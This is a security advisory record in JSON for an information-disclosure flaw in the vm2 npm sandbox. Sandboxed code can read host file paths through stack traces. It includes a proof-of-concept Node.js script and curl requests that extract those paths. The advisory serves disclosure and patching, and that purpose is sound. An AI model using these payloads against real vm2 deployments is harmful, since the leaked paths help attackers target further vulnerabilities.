{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44002"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T04:30:10Z",
    "nvd_published_at": "2026-05-13T18:16:16Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nvm2\u0027s `CallSite` wrapper class (intended as a safe wrapper for V8\u0027s native CallSite) blocks `getThis()` and `getFunction()` to prevent host object leakage, but allows `getFileName()` to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server.\n\n### Details\nIn `lib/setup-sandbox.js:436-466`, the `CallSite` class overrides `getThis()` and `getFunction()` with `undefined` to prevent host object references from leaking into the sandbox. However, the following methods pass through unsanitized values from the original V8 CallSite object:\n\n- `getFileName()` \u2014 returns host absolute paths like `/app/node_modules/vm2/lib/vm.js`\n- `getLineNumber()`, `getColumnNumber()` \u2014 exact source locations\n- `getFunctionName()`, `getMethodName()`, `getTypeName()` \u2014 internal function names\n\nTwo exploitation paths exist:\n1. **Default `error.stack`**: `new Error().stack` includes host frame paths in the formatted string\n2. **Custom `prepareStackTrace`**: Attacker can set `Error.prepareStackTrace` to directly call `getFileName()` on each CallSite, extracting a clean list of all host paths\n\n### PoC\n\n**Library-level PoC (Node.js script \u2014 primary):**\n```javascript\nconst { VM } = require(\"vm2\");\nconst vm = new VM();\n\n// Path A \u2014 Default error.stack\nconst result1 = vm.run(`try { null.x; } catch(e) { e.stack }`);\nconsole.log(result1);\n// Output includes: /app/node_modules/vm2/lib/vm.js:289:18\n//                   /app/src/server.js:49:20\n\n// Path B \u2014 prepareStackTrace extraction\nconst result2 = vm.run(`\n  Error.prepareStackTrace = function(e, sst) {\n    return sst.map(function(s) { return s.getFileName(); }).join(\", \");\n  };\n  new Error().stack\n`);\nconsole.log(result2);\n// Output: vm.js, node:vm, /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, ...\n```\n\n**HTTP demonstration:**\n```bash\n# Default error.stack\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"code\":\"try { null.x; } catch(e) { e.stack }\"}\u0027\n# Result includes host paths: /app/src/server.js, /app/node_modules/express/...\n\n# prepareStackTrace extraction\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"code\":\"Error.prepareStackTrace = function(e, sst) { return sst.map(function(s) { return s.getFileName(); }).join(\\\", \\\"); }; new Error().stack\"}\u0027\n# Result: /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, /app/src/server.js, ...\n```\n\n### Impact\n- **Information Disclosure**: Host directory structure, library paths, framework versions, and internal architecture are exposed to sandboxed code.\n- **Attack Chain**: Leaked paths enable precise targeting for other vulnerabilities.\n- **Scope**: All applications using vm2. No special configuration required.",
  "id": "GHSA-v27g-jcqj-v8rw",
  "modified": "2026-05-14T20:36:52Z",
  "published": "2026-05-07T04:30:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-v27g-jcqj-v8rw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44002"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2 is Vulnerable to Host File Path Disclosure via Stack Trace Information Leak"
}